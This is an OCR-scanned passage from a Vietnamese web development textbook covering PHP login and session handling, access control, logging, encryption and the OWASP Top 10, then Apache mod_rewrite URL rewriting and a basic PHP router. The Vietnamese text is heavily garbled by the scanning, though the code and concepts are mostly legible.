4. header ('wWW-Authenticate:Basic realm="Vui ldng nhap tén si dung va mat khau."');

5. header('HTTP/1.0 401 Unauthorized');

6. exit();
7. } else if (!isvalid($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH PW'])) {
8. header ('WWW-Authenticate:Basic realm="Tén si dung hodc mat khau khéng ding."');
9. header('HTTP/1.0 401 Unauthorized');
10. exit();

11.}
12. //Logic ung dung

Phuong phap xdc thwe HTTP c6 han ché 1a ctta s6 hay giao dién dang nhap
duoc c6 dinh béi trinh duyét, khong thay doi duoc. Giao dién nay thuong khong
than thién véi nguoi dung, dac biét khong tuy bién duoc dé tich hop cac tinh nang
khac lién quan déang nhdp nhu captcha, quén mat khau, ... Trén thuc t€, phuong
phép xac thwc HTTP it dwoc st dung. Thay vi d6, tén dang nhap va mat khau
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duoc cung cap qua biéu nhap caa HTML. Theo cach nay, ing dung can cung cap
mot trang dang nhip (login). Trang dédng nhap hién thi biéu nhap cho phép nguoi
dung nhép tén dang nhap va mat khau r6i dé trinh biéu nhap. Ma nguon trang
dang nhap co6 dang nhu sau:

1. <?php

2 //Login.php

3 $err = ""

4, if (isset($ POST["tdn"])) { // Pa dé trinh form
5. if (isvalid($_POST["tdn"], $_POST["mk"]) {
6 session_start();

7 $_SESSION["tdn"] = $_POST["tdn"];

8. // Logic ng dung

9. ‘e

10. } else {

11. $err = "Sai tén dang nhap hodc mat khau";
12. }

13. }

14. ?>

15. <IDOCTYPE html><head>...</head><body>
16. <?php echo $err; ?>
17. <form method="post">

18. Tén dang nhap: <input type="text" name="tdn"/> <br/>
19. Mat kh3u: <input type="password" name="mk" /> <br/>
20. <input type="submit" value="bang nhap" />

21. </form>
22.</body></html>

Néu nguoi dung da nhap va dé trinh tén dang nhap va mat khau, ting dung sé
kiém tra xem tén ddng nhap va mat khdu do nguoi dung cung cap cd hop 1é hay
khong. Néu tén dang nhap hodc mat khau khong hop 1€, tng dung dwa ra mot
thdng béo 16i va yéu cau ngudi dung nhap lai. Nguoc lai, tng dung tiép tuc véi
cac cong viéc theo logic cua nd.

Ham isValid() trong cac ma ngudn néu trén twong trung cho viéc doi chiéu tén
dang nhap va mat khau do nguoi dung cung cap véi cic tén dang nhap va mat
khau hop 1é cua ting dung. Tuy vao tng dung, cac tén dang nhdp va mat khau
hop 1€, con goi la tai khoan nguoi dung, c6 thé duoc luu trong co so dit liéu, trong
tép cau hinh hay ¢ dinh ciing trong ma nguon, trong dé co s¢ dir liéu 1a phuwong
tién duoc st dung nhiéu nhat. Thong thuong, mat khau khong dwoc luu 6 dang
ban g6c ma duoc luu bang gia tri bam ctia né nham dam bao tinh bi mat. PHP
cung cdp nhiéu ham bam nhw password_hash(), crypt() d€ 1ay gia tri bdm ctia mat
khau.

Quan ly phién

D€ lvu thong tin nguoi dung da dang nhap thanh cong, tng dung thiét lap
mot bién phién luvu dinh danh nguoi dung. Ban dau, bién phién nay cé gia tri
rong. Chi khi nao nguoi dung dang nhap thanh cong, bién phién nay méi duoc
gan gia tri (cau lénh $_SESSION["tdn"] = $_POST["tdn"]; trong vi du trudc). Tai
cac trang khac trang dang nhap, thong tin nay dwoc kiém tra dau tién nham dam
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bao rang nguoi dung da qua dang nhap méi dugc sit dung tng dung. Ma ngudn
kiém tra c6 dang nhu sau:

1. <?php

2. // SomePage.php

3. session_start();

4, if (!isset($_SESSION["tdn"])) header("Location:login.php");
5.

6. // Logic ung dung

Ban than phién la mot tap cac dit liéu duoc lwu trix trén trinh phuc vu nh3m
theo doi trang thai twong tac ctia ngroi dung vdi tng dung. Dinh danh phién la
mot xau ky ty doc nhét (unique) dugc ting dung sit dung d€ anh xa dén phién.
Khi nhan dugc dinh danh phién, trinh duyét t dong dé trinh nd trong cac yéu
cau tiép theo. Tt goc dd dam bao an ninh, quan ly phién lién quan dén kiém soat
thoi gian phién, cdp dinh danh phién va hay phién. Thoi gian phién la khoang
thoi gian trinh phuc vu leu tri phién ké tir lac phién dugc tao. Hét thoi gian
phién, con goi la hét han (expired), phién s€ bi x6a. Thoi,gian phién khong nén
qua dai, cang khong' nén vo 'thoi 'han, vi' trong)/thoi 'gian'dai-nht vay, dinh danh
phién c6 thé da bildanh cap va ké ¢dp gia.mao dugc ngudiding, 1a chtisé hitu cta
phién. Mat khag, néwnguoi dung khong gui yéu cau tiép thee-trong/mot khoang
thoi gian nhat dinh, goila théi gian nhan'f6i (id1€), phigh ctingfien két thic, vi rat
c6 thé nguoi dung da st dung xong ma quén ding xuit. Ung dung véi nhiing
giao dich cang nhay cam, vi du chuyén tién, thoi gian phién va thoi gian nhan rdi
cang nén duoc d€ ngan nham dam bao phién khong bi danh cap. Cac trinh phuc
vu web déu cho kha nang ciu hinh thoi gian phién va thoi gian nhan rdi cho tng
dung.

Ngoai viéc ty dong két thuc phién do thoi gian hét han hay thoi gian nhan roi
kéo dai, tng dung nén co chirc ndng ding xuit (logout) d€ nguoi dung chu dong
huy phién khi ho da stt dung xong phan mém. Ma ngudn trang ddng xuat don
gian chi huy cac bién phién réi chuyén hudng nguoi dung vé trang diang nhap
nhuw vi du sau.

1. <?php

2. // Logout.php

3. session_start();

4. unset($_SESSION["tdn"]);

5. header("Location:login.php");

Vé viéc cap dinh danh phién, d¢ dai dinh danh phién va tinh ngau nhién cta
cac ky tu trong dinh danh phién la nhitng tinh chdt quan trong gitp dinh danh
phién khong thé bi lam gia. Ca hai tinh chat nay déu phu thudc vao thuat toan
sinh chudi ngau nhién (dinh danh phién) cta trinh phuc vu.

Diéu khién truy cap

Budc cudi cung trong quan ly truy cap la quyét dinh tirng yéu cau cua nguoi
dung 1a duoc phép hay bi tir chdi. Co ban, ting dung can phai quyét dinh liéu
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nguoi dung c6 duoc thyc hién ting hanh dong hay truy cap ting da liéu cu thé
hay khéng. Ung dung c6 thé hd trg nhiéu vai trd nguoi dung (user roles). Mdi vai
tro dwoc quyeén truy cap tap chirc nang va di liéu xac dinh. Ung dung ciing c6 thé
cho phép titng nguoi dung truy cap nhitng chitc nang va dit liéu cu thé.

8.2.3. Ddi pho vdi tin cong

Moi ting dung web déu c6 kha nang tré thanh nan nhan cua nhing tan cong
mang. Do vay, cac co ché dam bao an ninh cho tng dung can cé kha nang chéng
lai hay phan tng lai cac tdn cong mot cach c6 kiém soat. Cac co ché nay st dung
nhiéu ky thuat tdn cong va phong thtt nham lam kho cho d6i phwong, dong thoi
cung cap cho chu s¢ hitu ctia tng dung cac canh bdo va bang ching vé nhiing gi
xay ra ddi véi tng dung. Mot s& ki thuat d6i phé véi tan cong bao gom: X 1y 16i,
ghi nhat ky, canh bao cho quan trj vién, phan tng lai cac tan cong.

Xu 1y 16i

Cho du @ng dung da duockiém thi ky ludngnhu thé nao trudc khi duoc dua
vao trién khaigsit dung, rat kho dé&dam bao rang tmg=dung khong con 16i khi ké
xau truy cap va twong tac voi ting dung thep nhieu cach khac nhaw, Do vay, xa ly
nhitng tinh/hudng 16i.chua.biét/trude cd.thé xayra la.yéu cau.can thiét. Khi gap
16i, tng dung c6 thé khoi phuc lai trang thai'tredc d6 va ghi thong bdo 16i phu
hop cho nguoi ding. O mai trieong san xuat, tng dung tuyét ddi khéng nén bao
ham trong cac dap tmg HTTP nhitng thong bao 16i va thong tin g& 16i do hé thdng
sinh ra. Nhitng thong tin nay la nhitng manh mdi cho ké x&u khai thac nham thuc
hién c4c tdn cong. Thay vao d6, khi ¢4 16i hay ngoai 1& xay ra, tng dung chi dua ra
thong bdo 13i it mang tinh kj thuat nhue “Khong doc duoc tép”, “Ban khong cé
quyeén truy cap” v.v.

Trong lap trinh, viéc bét va xtr 16i duoc thuc hién béng cdu trac try-catch. Ma
xt ly nghiép vu duoc dit trong khdi try, trong khi thong bao 16i duoc dat trong
khoi catch.

Ghi nhat ky

Nhat ky (log) rat c6 gia tri khi diéu tra cac cugc dot nhap ang dung. Nhat ky
gitp cho cht s& hitu ting dung hiéu dugc diéu gi da xay ra véi ing dung, 16 hong
nao da bi khai thac va ké tan cong thuec hién duoc nhitng truy cap trai phép nao.
Vi bat ky tng dung nao, nhitng su kién chinh can duoc ghi nhat ky. T6i thiéu,
tng dung can ghi nhat ky:

- Céc su kién lién quan xac thuc nhu dang nhap, dang xuat, thay doi mat
khau.
- Céc giao dich chinh nhu thanh toan qua tai khoan, chuyén tién, tra loi
cau hoi trén bai thi, ndp bai thi, bo phiéu, v.v.
- Cdc truy cap trdi phép, hay truy cap vao nhiing chitc nang va d liéu
ma nguoi dung khong ¢ quyén.
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Véi nhitng ttng dung doi hoéi an ninh cao, vi du ¢tng dung trong ngan hang, moi
yéu cau déu phai duoc ghi nhat ky day du.

Nhat ky can phai ghi ca thoi gian xay ra su kién, dia chi IP gti yéu cau, tén tai
khoan nguoi dung (néu da xac thyc). Dt liéu nhat ky phai duoc bao vé d€ tranh
cac truy cap trai phép.

Luu y, can phéan biét nhat ky do ting dung tao (duoc lap trinh) khac véi nhat
ky do trinh phuc vu tao (do cdu hinh). Néu duoc bat, mdédun ghi nhat ky cua trinh
phuc vu s€ luu ra tép thong tin URL cung mot s& tham s6 va thudc tinh HTTP
khac ctia moi yéu cau duwoc gtri dén trinh phuc vu. Phan tich nhat ky nay thuong
khong dé, doi hoi ngudi cé chuyén moén cao, do dir liéu nhat ky c6 dinh dang
mang dam tinh ky thuat. Nguoc lai, nhat ky do ttng dung tao thuong ¢ dinh dang
ma con nguoi dé doc, c6 thé dugc thé hién bf?mg ngoén ngl ty nhién, va c6 thé
duoc phan tich, tong hop, hién thi ngay trong ting dung.

Céanh béo cho quan tri vién va phan tng lai cic tin cong

Phat hiéntan-cong, bat thifong ‘trong st dung-hay logic-nghiép vu'la cong viéc
kha phttc tapnén'nhitng chitc nang canh.bdo cho quan tti vién hay phan tng lai
cac tan cong/thuong-dwoc cai dat.e mot tang khac, lbén ngoai-ting dung. Thong
thwong, tuong Itra tng dung web (web application firewall —waf) 1a noi phu hop
dé thuc hién cac chiic ndng nay. Mot s6 tuwong ltra ng dung web duoc dung phd
bién bao gom ModSecurity?, OWASP ZAP%, .v.v.

8.2.4. Bao veé dir liéu bﬁng mat ma hoc

Nhiing dir liéu quan trong nén duwoc ma hda (encrypt) trude khi lwu bén viing
(trong tép hodc co s dit liéu). Diéu nay rat quan trong do dit liéu luu bén vitng c6
thé duoc sao chép bang nhitng con duong khac khong thong qua st dung tng
dung. PHP cung cdp nhiéu thu vién mat ma hoc, trong d6 thu vién OpenSSL
khuyén cdo dwoc stt dung. Cac ham openssl_encrypt() va openssl_decrypt() duoc st
d€ ma hoa va giai ma dix liéu.

Néu dir liéu chi can ma héa mét chiéu, vi du mat khau nguoi dung, stt dung
cac ham bam (hash) dugc khuyén cao. PHP cung cdp cac ham password_hash() va
password_verify() d€ bam va xac minh mat khau véi gia tri bam. Ngoai ra, PHP
cung cap cac thu vién hash va mhash véi nhiéu ham bam nhu MD5, SHA1, GOST.

Dé ma hoa dir liéu trén duong truyén, HTTPS la giai phap tot nhat dwgc sw
dung cho Gng dung web. Ban chat lwgc d6 HTTPS la st dung TLS (Transport
Layer Security), tién than 1a SSL (Secure Socket Layer) dé€ ma hda cac yéu cau va
dap tng HTTP trudc khi giri va giai ma sau khi nhan. Cac trinh duyét déu duoc
tich hgp s&n TLS. Bén phuc vy, ngudi trién khai can cai dit (install) va cAu hinh

19 https://modsecurity.org/
2 https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
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thu vién TLS d€ thu vién lam viéc véi trinh phuc vu web, sau d6 budc (binding)
luge d6 HTTPS cho ting dung. Do han ché vé dung luong, chi tiét cai dat va cau
hinh TLS cho trinh phuc vu web khong dugc trinh bay trong gido trinh nay.

8.2.5. M4t s0 rui ro an ninh ttng dung web

Theo nghién cttu cia OWASP nam 2013, nhitng rti ro an ninh nguy hiém nhat
d6i voi ting dung web bao gom:

Tiém nhiém (Injection)

L6i xac thwc va quan ly phién (Broken Authentication and Session
Management)

XSS (Cross-Site Scripting)

Tham chiéu d6i twong khong an toan (Insecure Direct Object References)
Sai s6t trong cau hinh an ninh (Security Misconfiguration)

Lo dit liéu nhay cam (Sensitive Data Exposure)

Sai sot.trong diéu khién truy.cap (Missing Function Leyvel;Access Control)
Gia mao yeu cau (Cross-Site Réquest’ Forgery - CSRF)

St \dung thanh, phan c§ 16 hong (Using Comperments, with Known
Vulnerabilities)

Chuyen hudng va chuyeén tiép thieu kiem tra (Unvalidated Redirects and
Forwards)

Nguoi doc quan tdm dwgc khuyén cdo tham khao bao cdo cia OWASP?! dé hiéu
nguyén nhan, cach khai thac va phong tranh nhiing rui ro nay, déng thoi cap nhat
cac rti ro ndm 2017 va nhitng nam tié€p theo.

Bai tap

1. B0 sung vao cac trang cua tng dung BookStore (Bai tap 3, Chuwong 7) véi tinh
nang kiém tra hop thirc dir liéu nguoi dung.

2. B0 sung trang dang nhap, dang xudt va tinh ndng quan ly truy cap cho tng
dung BookStore.

3. B& sung tinh nang xt ly 16i va ghi nhat ky cho ting dung BookStore.

Poc thém

1. Ben Edmunds, "Securing PHP Apps 1st ed. Edition", Apress, 2016.

2. Carlo Scarioni, "Pro Spring Security 1st Edition", Apress, 2013.

3. Barry Dorrans, "Beginning ASP.NET Security 1st Edition", Wrox, 2010.

*! https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
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Chuong 9
VIET LAI VA PINH TUYEN URL

9.1. GIOI THIEU

Nhu da dugc trinh bay trong Chuwong 1, cdc tai nguyén bén trong tng dung
web la nhitng don vi san xuat ra ndi dung web. Mbi tai nguyeén c6 tén hay duong
dan (path) vat ly duy nhat va cé thé chdp nhan mot s6 tham s6 kém theo gia tri
moi khi né duge goi. Vi nguoi dung & xa trén Internet, URL 1a phuwong tién, hay
la giao dién, d€ truy cap dén cac tai nguyén web. URL c6 thé duoc tao ra mét cach
truc tiép bang cach ndi duong dan vat ly cta tai nguyén cung chudi truy van vao
sau dinh danh ctua tng dung web. URL dugc tao ra theo cach nay duoc goi la URL
phi ngit nghia (non-semantic URL) hay URL g6c (original URL).

URL phi ngtrnghia duoc str dung tir nhirngthoi ky ‘dau-caa web'cho dén ngay
nay. Tuy nhién, n6 béeld nhiéu nhoc diém nhukho thay doi-do gén chat vdi cai
dat, dai va\it cé ngtrnighia, khong-than thién véi nguoi/dung va'mdy tim ki€ém
web. Nguoi dung khé ma nhé noi nhtrng URL dai voi mot loat tham s6 kem theo
gia tri. Hon nita, may tim kiém khong danh gia cao va tham chi ¢ thé bo qua
nhitng tir it c6 ngir nghia trong URL. Mt khac, URL sé khong con gid tri moi khi
tai nguyén dugc thay d6i duong dan hay tham s6. Nhitng nhuoc diém ké trén da
han ché& dang ké kha nang st dung cua URL phi ngit nghia.

Nhu cau tach biét yéu t0 cai dat, dong thoi tang tinh than thién véi nguoi dung
va mdy tim kiém d6i v6i URL da tré nén ro rang. URL ngit nghia (semantic URL)
da ra doi tir ly do d6. Vé mat khai niém, URL ngir nghia dong vai tro nhw tén goi
khdc, gan gtii v6i con nguoi, caa URL phi ngt nghia hay URL gdc. Néu nhu URL
phi ngl nghia thudc vé cai ddt bén trong cua tng dung thi URL ngit nghia duoc
tng dung thé hién ra bén ngoai, hwéng dén khong gian ctia nguroi dung. Viéc st
dung URL ngit nghia mang lai nhiéu loi ich, khac phuc dwoc cac han ché ctia URL
phi ngtt nghia. Mdt khac, viéc nay cling doi héi ting dung web phai cung cap mot
16p (layer) ngoai cung c6 chirc nang anh xa hay chuyén déi URL ngir nghia thanh
URL phi ngtt nghia hodc phan tich URL ngt nghia d€ quyét dinh hanh dong bén
trong ctua tng dung.

Céac ky thuat viét lai (rewriting) va dinh tuyén (routing) URL duoc dua ra
nham giai quyét bai todn vita néu trén. Cac ki thuat nay sé lan luot duoc trinh bay
trong cac Muc 9.2 va 9.3, tuong tng. Khuyén cao vé cach thic viét lai va dinh
tuyén URL, hay cach thitc tao URL ngit nghia sé duoc trinh bay trong Muc 9.4.
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9.2. VIET LAI URL

9.2.1. Téng quan

Viét lai URL la ky thudt dau tién duoc sit dung dé€ chuyén do6i URL ngt nghia
thanh URL phi ngt nghia. Theo ky thuat nay, mét modun viét lai (rewrite module,
rewrite engine) dugc cai cidm vao trinh phuc vu web. M6dun nay st dung mot tap
cac ludt viét lgi (rewrite rules) d€ stta d6i URL nhéan duoc trong yéu cau HTTP
truede khi yéu cau duoc xt ly béi nhitng moédun khéc. URL trong yéu cau HTTP la
URL ngtr nghia. URL sau stta d6i la URL phi ngt* nghia. Hoat dong ciia modun
viét lai dwgc minh hoa truc quan trong Hinh 9.1.

URL, (web client yéu cau)

URL

URL
v 2

|URL
[

v’ URL (web server phuc vu)

Hinh 9.1. Viét lai URL.

Khi nhan dwgc URL trong yéu cau HTTP, ky hiéu la URLo trong Hinh 9.1,
modun viét lai [an luot ap dung cac luat viét lai 1én URL. T URLo, ap dung luat
tht nhat, URL duoc stra d6i thanh URL:. Tiép d6, tir URL:, 4p dung luat thit hai,
URL dwoc hiéu chinh thanh URL, ... C& nhu vay, URL dwgc thay doi sau moi
luat. Luu y, cac luat dwoc ap dung tuan tu theo thi ty xuat hién ctia luat trong tap
luat, URL d4u ra ctia mdi luat tro thanh URL d4u vao cho luat ké tiép. URL cudi
cung, ky hiéu 1a URLx trong Hinh 9.1, sau khi 4p dung hét cac luat, sé 1a URL phi
ngtt nghia cho biét tén that cua tai nguyén cung cac tham sd dwoc gui dén tai
nguyen.

9.2.2. Viét lai v6i mod_rewite caa Apache

Tuy vao modun viét lai, ci phap luat viét lai c6 thé khac nhau it nhiéu. Véi
modun viét lai mod_rewrite cho Apache, luat viét lai c6 ct phdp nhu sau:

(RewriteCond TestString CondPattern ([c-flags])?)*
RewriteRule (!)? Pattern Substitution ([r-flags])?
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trong d6, RewriteRule va RewriteCond 1a cac chi dan (directives) Ian luot cho biét
nodi dung (cach stra d6i URL) va diéu kién ap dung luat, Pattern va CondPattern 1a
cac biéu thirc chinh quy, TestString va Substitution 1a cac xau ky ty véi mot vai cau
tric mé rong. Mdi luat chi cd duy nhat mot chi dan RewriteRule, nhung c6 thé
khong c6 hodc c6 nhiéu chi dan RewriteCond.

Tam thoi bo qua cac co (c-flags va r-flags), luat viét lai v6i cu phép nhu trén c6
nghia la “Néu tat ca RewiteCond dwgc thoa man (TestString khép véi CondPattern),
dong thoi URL vao khop (hodc khdng khdp, néu c6 dau ! phia trude) voi Pattern
thi Substitution trd thanh URL ra. Ngwoc lai, URL vao trd thanh URL ra, tiec URL
khong bi thay doi”.

Trong luat viét lai, Pattern va CondPattern la cac biéu thitc chinh quy, hay la xau
ky tw c6 thé bao gom ca ky tw nguyén thuy (literal) va cac ky tw hay biéu thiec dai
dién, dwoc st dung dé biéu dién URL. Duéi day la mot vai ky tu va biéu thic dai
dién hay dugc st dung:

Cua phap Y nghia
Kyntw batky.
[string] Bat ky ky tu naothubestring:
["string] Bat ky ky tu nao khéc cac ky tw thudc string.
(text) Nhom van ban.
text1 | text2 text1 hoac text2.
? 0 hodc 1 [an xudt hién ctia van ban phia trude.
* 0 hodc N lan xuédt hién ctia van ban phia trude (N>0).
+ 1 hodc nhiéu lan xuat hién cta cac van ban phia trude.
A Bét dau lién két.
$ Két thuc lién két.
\ char Ky tu dac biét char.

Vi dy, Mwiki/.*$ 1a mot biéu thiec chinh quy biéu dién dwong dan caa URL.
Duong dan /wiki/Semantic_URL khép véi biéu thikc chinh quy nay, nhung duong
dan /wiki-Semantic_URL thi khong. Vi du khac, ~/su-kien/.*-[0-9]+\.htm$ khép hay
dodn nhan cac duong dan /su-kien/mien-bac-mien-trung-mua-lon-trong-ngay-trung-
thu-20171004080130699.htm va /su-kien/bao-dan-tri-tang-qua-trung-thu-cho-cac-em-co-
hoan-canh-kho-khan-20171004065430012.htm nhung khong khép véi duong dan /su-
kien/987-error.htm.
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Nguoi doc dwoc khuyén nghi tham khao cac sach vé ngdn ngtt hinh thirc va
otomat d€ c6 hi€u biét day du vé biéu thitc chinh quy cling nhu van pham.

Quay lai véi luat viét lai, TestString va Substitution la cac xau ky tw cé thé chira
cac cau tric mo rong (expansion) sau:

M6 rong Y nghia

$N(O0<N<9) Tham chiéu nguoc dén nhém thit N trong
Pattern.

%N (0<N<9) Tham chiéu nguoc dén nhém thit N trong
CondPattern lién trudec.

${map:key | default} Gia tri phan te c6 khoa key trong anh xa map,
hoac default néu trong map khong cé phan ti c6
khoa la key.

%{SERVER_VARIABLE} Bién server.

Vi du;néu 'Pattern' '1a~" Nstd/[A-ZatzXN-J+ (F)\ . html$ = va'' Substitution la
[std/viewStd.php?std_id=$1 thi=§1 tvong Substitution,]a thamichiéu nguoe dén nhém
(.*) cta Pattern..Néu"URL | dau vae=la /std/Tran-Van-Binh_012345.himl/thi n6 khép
v6i Pattern va khi d0 URL dau ra la /std/viewStd.php?std_id=012345. Vi du khac,
néu tén mién cua ung dung la xyz.com va  Substitution la
hitps://%{HTTP_HOST}/std/list thi URL dau ra la https://xyz.com/std/list.

Dé str dung &nh xa trong TestString va Substitution, chi dan RewriteMap véi ¢
phép RewriteMap name type:source can dwoc viét trude d€ tao anh xa, trong do,
name, type, source 1an luot 1a tén dit cho dnh xa, kidu va duong dan tép ngudn
chtta ndi dung (cac cap khoa va gia tri) ciia anh xa.

Vi du, cho tép productmap.txt véi ndi dung nhuw sau:

television 993
stereo 198

fishingrod 043
basketball 418
telephone 328

Mbi dong trong tép chita mot khoa va gia tri twong tmg véi khéa. Co thé st dung
ndi dung tép nay dé€ tao mot anh xa cé tén la product2id nhu sau:

RewriteMap product2id txt:productmap.txt
Khi d6, vdi luat viét lai
RewriteRule ~product/(.*)$ /prods.php?id=${product2id:$110}

cac URLs /product/television, /product/basketball, /product/mobilefone s€ Tan luot duoc
viét lai thanh /prods.php?id=993, prods.php?id=418, /prods.php?id=0, twong ting.
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Cac co trong luat viét lai duoc tom tit nhu sau:
c-flags Y nghia

nocase | NC ~ Khong phan biét chit hoa, chit thwong khi so sanh TestString
voi CondPattern.

ornext | OR  Két hop theo bi€u thirc logic OR v6i diéu kién lién sau.

1”7

(Co dé trang hay khong c6 cd) Két hop theo biéu thirc logic

AND véi diéu kién lién sau.
r-flags Y nghia
nocaseINC ~ Khong biét chit hoa, chit thwong khi so sanh.

chain|C Tao chudi luat véi luat ti€p theo. Néu mot luat khi so sanh

khong khép, cac luat phia sau trong chudi sé bi bé qua.

last+L Dimng' quétrinh viét lapURL, khong/ap-dung thém luat trong

chudi luat.
next [N Quay véJuat tha nhat.
forbidden|F  Tra vé dap tng HTTP véi 403.
gonel G Tra vé dap ting HTTP véi ma 410.
redirectlR~ Chuyén hudng.
skip]lS=n  Bo qua n luat tiép theo néu luat hién tai so khép.

Ngoai cac chi dan da duoc gidi thiéu & trén, médun viét lai cung cAp nhiéu chi
dan khéc cho viéc tao luat viét lai. Vi du, chi dan RewriteEngine cho phép hay tht
ch& @6 viét lai, chi dan RewriteBase cho biét tién t6 ctia URL duoc dung trong cac
luat. Nguoi doc quan tdm dén nhitng chi dan khéc c6 thé tham khao tai
http://httpd.apache.org/docs/current/mod/mod_rewrite.html.

Trong trién khai ttng dung web voi trinh phuc vu Apache va mddun viét lai
mod_rewrite, cac luat viét lai duwoc dat trong cac t€p .htaccess. Thong thuong, ting
dung chi can mot tép .htaccess & thu muc goc d€ chira cac luat viét lai. Tuy nhién,
tieng thw muc con ¢6 thé co tép .htaccess riéng. Mbi tép .htaccess ¢ tac dung cau
hinh cho thu muc chtta n6 cung cac thu muc con bén trong. Trudc do, mdédun viét
lai can dwgc cdu hinh d€ c6 hiéu luc (trén Linux, chay 1énh sudo a2enmod rewrite).
Ngoai ra, trong tép cau hinh, thuw muc goc cua ting dung can dwgc cdu hinh véi
cac chi thi Options va AllowOverride c6 ndi dung nhu sau:

1. <Directory /path/to/home/folder/>
2. Options Indexes FollowSymLinks
3. AllowOverride All

4. </Directory>
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9.2.3. Mot vai vi du thuc t&
Dudéi day 1a mot vai vi du st dung viét lai trong thuc té:
Vi du 1. Che ddu dinh dang tép tai nguyén web
Dé viét lai URL tt books.php?id=12 thanh books-12.html, sit dung cac luat:
1. RewriteEngine On
2. RewriteRule "books-([0-9]+)\.html$ books.php?id=$1
Vi du 2. Dinh huong ndi dung cho nguoi ding
Dé viét lai URL tlt books.php?id=12 thanh books/web-books/12.html nham bs sung
tiéu dé hay tir khod cua sach vao URL, stt dung céac luat:
1. RewriteEngine On

2. RewriteRule “books/([a-zA-Z0-9 -1+)/([0-9]+)\.html$ books.php?id=$2

Vi du 3. Tén mién khong c6 www thanh www

bé nguai dung, c6 ~thé truy. cap | www,uetvnuedu.on. ma,_chi can nhap
uet.vnu.edu.vn va khong phai nhap wiww, sé’dung cac luat:

1. RewriteEngine On
2. RewriteCond %{HTTP_HOST} ~uet\.vnu\.edu\.vn$
3. RewriteRule (.*) http://www.uet.vnu.edu.vn/$1 [R=301,L]

Vi du 4. Rut goi URL

bé chuyén dén trang thong tin ctua nguwoi dung abc tai
uet.vnu.edu.vn/user.php?username=abc bang URL uet.vnu.edu.vn/abc, stt dung cac
luat:
1. RewriteEngine On

2. RewriteRule ~/([a-zA-Z0-9_-]+)$ user.php?username=$1
3. RewriteRule ~/([a-zA-Z0-9_-]+)/$ user.php?username=$1

Vi dy 5. Thay d6i thu muc web

Trang web uet.vnu.edu.vn trede day dwoc cai 6 thue muc /var/www/ trén may
cht, nay quan tri vién mudn chuyén vao thu muc /home/, st dung cac luat:

RewriteEngine On

RewriteCond %{HTTP_HOST} ~uet\.vnu\.edu\.vn$ [OR]
RewriteCond %{HTTP_HOST} “www\.uet\.vnu\.edu\.vn$
RewriteCond %{REQUEST_URI} !~/home/

RewriteRule (.*) /home/$1

u b wnNnER

9.3. DINH TUYEN URL

9.3.1. Tdng quan
DPinh tuyén URL (URL Routing) la k§ thuat phan tich URL d€ quyét dinh x& ly
bén trong ctia ing dung. Ky thuat nay khong c6 y dinh chuyén d6i URL ngit
nghia thanh URL phi ngtt nghia nhw viét lai URL. Thay vao d6, muc dich cta dinh
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tuyét URL la xac dinh hanh ddng cta ting dung ting véi tirng URL cu thé. Co thé
khéi quét hoat dong cta dinh tuyén URL bang dién dat sau:

if <URL> khép-voi <patternl> then <action1>
else if <URL> khop-voi <pattern2> then <action2>

else <actionN>

trong d6, <URL>la URL nhan dwoc trong yéu cau HTTP, <patternl>, <pattern2>, ...
la cAc mau hay dic trung xdc dinh dung dé so khép véi <URL>, va <actionl>,
<action2>, ... la nhitng hanh dong sé duwoc ting dung thuc hién néu <URL> khép
vOi <pattern1>, <pattern2>, ..., teong ung.

Khac véi viét lai URL, dinh tuyén URL khong duwoc thuc hién boi mdédun mé
rong ctia trinh phuc vu ma dwoc thue hién boi chinh tng dung. Ung dung sé cung
cap mot trang dac biét dwoc goi la bg diéu khién_mdt trudc (front controller) tiép
nhan moi yéu cau HTTP. B§ diéu khién m@t triedc’'giong nhix ctka duyi nhat dé vao
tng dung} Ung diing can hd tro dlia viet lai URL dé& chuyén hudéng moi yéu cau
dén trang khac vé bg.diéu khién mat trudc. Khi nhén duog yéu.cau HTTP, bd diéu
khién mat triede'chuyén URLE cho bg dinh-tuyéin-@@outer)®Bo dinh tuyén phan tich
URL dé€ xac dinh xt ly duoc thyc hién. Cu thé, bo dinh tuyén can c vao URL dé

1'. http request
—- Up request_ nummms

. _pages

| Rz

2'. redirect |oy rewriting

_2.URI

4
=

1. http request

Fram, 3. Action name + parameters
controller
4. parameters

<2- itp response Action

Hinh 9.2. Dinh tuyén URL.

quyét dinh thuc hién hanh dong gi v6i tham sd nhw thé nao. Tén hanh dong va gia
tri tham s6 dwgc bd dinh tuyén gui nguoc lai cho bo diéu khién mét trude. Cudi
cung, bd diéu khién mat trede giri tham sd dén hanh dong va hanh dong duoc
thuc hién d€ tra vé dap ung HTTP. Hoat dong dinh tuyén URL duoc truc quan
hoa trong Hinh 9.2.

D& moi truy cap vao cac trang khac bd diéu khién mat trude déu duoc chuyén
hudng vé bo diéu khién mat truede, cac luat viét lai sau day duoc st dung, duoc
dat trong tép .htaccess tai thue muc gdc cua ting dung:

1. Options +FollowSymLinks

IndexIgnore */*

RewriteEngine On

RewriteCond %{REQUEST_ FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php

auvih wnN
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9.3.2. Cai dat don gian

Ma ngudn bd diéu khién mat truedc, b dinh tuyén cing hanh dong cé thé duoc
cai ddt trong cung mot tép nhu vi du dwdi day.

1. <?php

2. // Bd domain va path

3. $requestURI = explode('/', $_SERVER['REQUEST_URI']);
4. $scriptName = explode('/',$ _SERVER['SCRIPT_NAME']);
5. for($i= 0; $i < sizeof($scriptName); $i++)

6. if ($requestURI[$i] == $scriptName[$i]) unset($requestURI[$i]);
7. // Nhan dién hanh dong va cac tham sé

8. $command = array_values($requestURI);

9. switch($command[0]) {

10. case 'one':

11. echo 'Hanh dong 1°';

12. if (count($command) > 1) {

13. echo " vgi tham sé: ";

14. for ($i = 1; $i < count($command); $i++) echo $command[$i]." ";
15. }

16. break;

17. case 'two':

18. echo 'Hanh déng 2'; break;

19. default:

20. echo 'Khong tim thay trang web';

21. }

Trong vi du nay, gia sit cdc URL ctia tng dung c6 dang
http(s)://host:port/action/vl/.../.vN

trong do, tén hanh dong (action) cung gia tri cta cac tham s6 (v1, ..., vN) dwgc ndi
vao cudi theo dinh dang nhu duong dan. Dau tién, bo dinh tuyén loai bé phan
dau ctia URL cho dén trudc action. Ti€p theo, nd nhan dién tén hanh dong va gia
tri ctia cac tham s6 trong phéan con lai cia URL. Trong vi du nay, cac hanh dong
hop 1€ 1a “one’ va “two’. Mbi hanh dong (mot case trong switch) thirc hién mot vai
